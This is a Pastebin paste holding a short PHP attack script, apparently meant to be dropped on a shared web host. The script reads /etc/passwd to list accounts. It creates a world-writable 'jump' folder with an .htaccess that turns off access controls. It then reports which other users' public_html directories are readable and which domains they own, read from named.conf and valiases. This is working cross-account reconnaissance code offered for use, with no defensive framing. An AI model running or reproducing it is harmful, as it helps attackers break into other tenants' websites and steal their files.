VanGans

Just

Oct 5th, 2018
251
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.19 KB | None | 0 0
  1. <?php
  2. // VanGans
  3. // just jumping + domain
  4.  
  5. error_reporting(0);
  6. echo "<h2>Hanya Liat Readable Apa tidak</h2>";
  7. //$us = file_get_contents("/etc/passwd");
  8. $usa = fopen('/etc/passwd','r');
  9. $dir = mkdir('jump', 0777);
  10. $rrrr = "Options all \n DirectoryIndex jump \n Require None \n Satisfy Any";
  11. $frr = fopen('jump/.htaccess', 'w');
  12.  
  13. fwrite($frr, $rrrr);
  14. while($us = fgets($usa)){
  15. if($us==""){
  16.     echo "cann't read /etc/passwd";
  17. }
  18. else{
  19. preg_match_all('/(.*?):x:/', $us, $user_byk);
  20.  
  21.     foreach($user_byk[1] as $user){
  22.         $dir1 = "/home/$user/public_html/";
  23.         if(is_readable($dir1)){
  24.            echo "<font color='green'>$dir1 <= Readable</font>";
  25.  
  26.       $domainns = file_get_contents("/etc/named.conf");
  27.       if($domainns==""){
  28.         echo " | Cann't read /etc/named.conf<br>";
  29.       }
  30.       else{
  31.  
  32.       preg_match_all("#/var/named/(.*?).db#", $domainns, $domains);
  33.       foreach($domains[1] as $domain){
  34.        
  35.       $user2 = posix_getpwuid(@fileowner("/etc/valiases/$domain"));
  36.       $user2 = $user2['name'];
  37.       if ($user2=="$user"){
  38.         echo ", domain $domain<br>";
  39.         break;
  40.     }
  41.   }
  42.  
  43. }
  44.        }
  45.         else{
  46.            
  47.         }
  48.  
  49.    }
  50.  
  51. }
  52.  
  53. }
  54.  
  55.  
  56.    ?>
Advertisement
Add Comment
Please, Sign In to add comment